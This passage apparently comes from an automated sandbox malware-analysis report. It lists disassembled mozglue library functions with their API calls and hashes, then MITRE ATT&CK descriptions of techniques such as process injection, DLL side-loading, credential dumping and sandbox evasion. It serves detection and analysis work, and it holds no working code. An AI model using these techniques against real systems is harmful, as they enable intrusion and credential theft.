?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA2BE8F

Strings

0, xrefs: 6CA2BE5B

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 03eb2ecd301aa5c33d73e7525aaae8fbf1bd58b0ddf6666e8c31b16fc43e530d
Instruction ID: 870e7b5f985cca93689504a790af473c72ccf4f68bcf714b743051db0be6b862
Opcode Fuzzy Hash: 03eb2ecd301aa5c33d73e7525aaae8fbf1bd58b0ddf6666e8c31b16fc43e530d
Instruction Fuzzy Hash: B541B171909755CFC701CF38D481A9BB7F4AF8A348F088B1DF986A7611E734D9998B82

Function 6CA63CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA63D19
mozalloc_abort.MOZGLUE(?), ref: 6CA63D6C

Strings

d, xrefs: 6CA63D58

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: eb7649d87e889d654c3dec5e2c7420e76dd0d8a333d5f414e66de85ef767c1f4
Instruction ID: 499f11f91ce279747c3d31dce6aafa5046bd4f96370487a1eac382d6e9b5e102
Opcode Fuzzy Hash: eb7649d87e889d654c3dec5e2c7420e76dd0d8a333d5f414e66de85ef767c1f4
Instruction Fuzzy Hash: 4D110835E04749D7DF058FAAD8154EDB775EF96218B48C718DC8557A01EB30A5C6C350

Function 6CA34730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA344B2,6CAAE21C,6CAAF7F8), ref: 6CA3473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA3474A

Strings

GetNtLoaderAPI, xrefs: 6CA34744

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 3b76406ace76911eec2b0ec9333b71a9851e7cf28eee880be3b8141193549c95
Instruction ID: 51b73274c9b0c9ae31253b9606bd0ac0571332d15a3cc8df79bb5a80f494430e
Opcode Fuzzy Hash: 3b76406ace76911eec2b0ec9333b71a9851e7cf28eee880be3b8141193549c95
Instruction Fuzzy Hash: 1401927530031A9FDF089FAA986865DBBF9EB4B311B088069E905C7710DB70D8028F91

Function 6CA86DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CA86E22
__Init_thread_footer.LIBCMT ref: 6CA86E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CA86E1D

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: b69c130122ce1e667dbcce3a72a3b449e1b6bd87e1de5595043eeffee0a92ff8
Instruction ID: a2da9f6e3043c9b23aa803d47b819ba1aec342fce9b757c0c5e210c93e044da8
Opcode Fuzzy Hash: b69c130122ce1e667dbcce3a72a3b449e1b6bd87e1de5595043eeffee0a92ff8
Instruction Fuzzy Hash: 3FF0F630A063C38FEA1886E8ED50AD933726312218F084259C81047B71D631A997CBB3

Function 6CA39E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA39EEF

Strings

NaN, xrefs: 6CA39EC1
Infinity, xrefs: 6CA39EB7

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 8a5a0be0fd852143b3f1541cfeb7e73f75c091682e9f75e82ff2856ca95967d7
Instruction ID: 1f5f804a0ac2d1d836a37cb8a86e6a3da0dd293c7712c4408f7b2857a27dbe39
Opcode Fuzzy Hash: 8a5a0be0fd852143b3f1541cfeb7e73f75c091682e9f75e82ff2856ca95967d7
Instruction Fuzzy Hash: D1F06970600343CADA1E8B98EE566983771A34730DF248A1DC9044BA80D73569DB8B96

Function 6CA3BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CA3BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CA3BEF5

Strings

cryptbase.dll, xrefs: 6CA3BEF0

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 12162d43af112208434fb30361524ff5e7dab7d9eb2b6efc8ea636d5f2496c24
Instruction ID: 0dca9cd570f8a4fa4999b15da14418e5b5a6ab5814d1987c4ca53b2144386211
Opcode Fuzzy Hash: 12162d43af112208434fb30361524ff5e7dab7d9eb2b6efc8ea636d5f2496c24
Instruction Fuzzy Hash: 7CD0A73118070DEACA146AD4BC05B193BB5A701715F20C120F30984891C7B09491CB50

Function 6CA250E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA24E9C,?,?,?,?,?), ref: 6CA2510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA24E9C,?,?,?,?,?), ref: 6CA25167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CA25196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CA24E9C), ref: 6CA25234

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: b4e8e271b379478a36456ac8255039be788cc27e20c746744733330165abb41f
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 0A919D75905626CFCB14CF08C890A56BBA1FF89318B2D8588DC589B719D375FC86CBE0

Function 6CA608F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA60918
LeaveCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA609A6
EnterCriticalSection.KERNEL32(6CAAE7DC,?,00000000), ref: 6CA609F3
LeaveCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA60ACB

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 4c9ab3eac422fbbbd512d36ac33280d54a57a2c4f79570fbed678c9e32472ac6
Instruction ID: 93e2d160d4ede7c0614293c43492229f7eda921c21ba7af9d9cc5df64901eb0e
Opcode Fuzzy Hash: 4c9ab3eac422fbbbd512d36ac33280d54a57a2c4f79570fbed678c9e32472ac6
Instruction Fuzzy Hash: EC516E32B01756CFEB0C9AD6D44462933B2EB85B6472DC13AC96697F80D730E8D28BC4

Function 6CA7B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CA7B2C9,?,?,?,6CA7B127,?,?,?,?,?,?,?,?,?,6CA7AE52), ref: 6CA7B628

Part of subcall function 6CA790E0: free.MOZGLUE(?,00000000,?,?,6CA7DEDB), ref: 6CA790FF
Part of subcall function 6CA790E0: free.MOZGLUE(?,00000000,?,?,6CA7DEDB), ref: 6CA79108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA7B2C9,?,?,?,6CA7B127,?,?,?,?,?,?,?,?,?,6CA7AE52), ref: 6CA7B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA7B2C9,?,?,?,6CA7B127,?,?,?,?,?,?,?,?,?,6CA7AE52), ref: 6CA7B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CA7B127,?,?,?,?,?,?,?,?), ref: 6CA7B74D

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 58bad7fe0563ce6bfc02e77442a0f6c8aa89e93748b5c05c7e618812a68ff00c
Instruction ID: fd5c21e0d4b4bd295c966315967709902be0d76f38c6a8530bcd6421468800d5
Opcode Fuzzy Hash: 58bad7fe0563ce6bfc02e77442a0f6c8aa89e93748b5c05c7e618812a68ff00c
Instruction Fuzzy Hash: A85102B9A023168FDB24CF19E98469EB7B1FF44304F05862DC906AB700D735A884CBB1

Function 6CA7DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CA6FF2A), ref: 6CA7DFFD

Part of subcall function 6CA790E0: free.MOZGLUE(?,00000000,?,?,6CA7DEDB), ref: 6CA790FF
Part of subcall function 6CA790E0: free.MOZGLUE(?,00000000,?,?,6CA7DEDB), ref: 6CA79108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA6FF2A), ref: 6CA7E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA6FF2A), ref: 6CA7E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CA6FF2A), ref: 6CA7E0FE

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9a33d5073344a48f66a2cdfb4e22dceb0126b83e5156d32339b1e8c4342a9821
Instruction ID: bdd5f2122ccd64bb04953e32d758145c9eda62626a0928eab529b9e547e5d2f9
Opcode Fuzzy Hash: 9a33d5073344a48f66a2cdfb4e22dceb0126b83e5156d32339b1e8c4342a9821
Instruction Fuzzy Hash: FA41D4B96442068FEB24CF68D88479A73B2BB45308F194539D516DB740E732E986CBB2

Function 6CA76E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CA76EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CA76EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA76F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA76F5C

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 86b0c8acf38410fcaad64884bbd82ed24ee65d1adc899dca858e4b52b86c1c09
Instruction ID: 9ad76849b4ba4866da2c36bcf3eda3ba5df29e90a300650522b76765906abc39
Opcode Fuzzy Hash: 86b0c8acf38410fcaad64884bbd82ed24ee65d1adc899dca858e4b52b86c1c09
Instruction Fuzzy Hash: 9931D275A1060A8FEB14CF2DDD807AA73F9FB84304F548139D41AD7651EB32E69987A0

Function 6CA8B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA30A4D), ref: 6CA8B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA30A4D), ref: 6CA8B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA30A4D), ref: 6CA8B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA30A4D), ref: 6CA8B67F

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: f32b190350ba8512e6dfaca841fced34a140c638d95d0ad76d7ec9ccb88577f5
Instruction ID: acef3289e80c87ee6acd55bf97cb37f2c50ae45bcccfee34f52bd7ac7684f463
Opcode Fuzzy Hash: f32b190350ba8512e6dfaca841fced34a140c638d95d0ad76d7ec9ccb88577f5
Instruction Fuzzy Hash: 8831F471A022168FEB10CF59EC4469EBBF6FF81304F1A8639C8069B205DB31E955CBA0

Function 6CA5F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA5F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA5F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA5F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA5F668

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: bca34458bfb18dc5a480dddaa7fdb737415c8dcdeaef51a5c52fd126e04c22a4
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 34316F71A00614AFC714CF2DCCC0A9BB7F5EB84358B18C53CFA4A8BB09D631E9948B90

Function 6CA726B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA726C1
free.MOZGLUE(?), ref: 6CA726E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA726FF
free.MOZGLUE ref: 6CA7270D

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f91fdbd4a0eb4a8c8ad59dfeb563294a2781fb07fbfa6083300ce55ddfac167c
Instruction ID: 8c3cd0a66ffe6aa5e2d134aa912be82cbde97e9081c511ec3886925cac8c5f85
Opcode Fuzzy Hash: f91fdbd4a0eb4a8c8ad59dfeb563294a2781fb07fbfa6083300ce55ddfac167c
Instruction Fuzzy Hash: 88F02DB67012019BF7209E59E884D8B73BDFF4121CB544135EA16C3B01E332F999C6B1

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
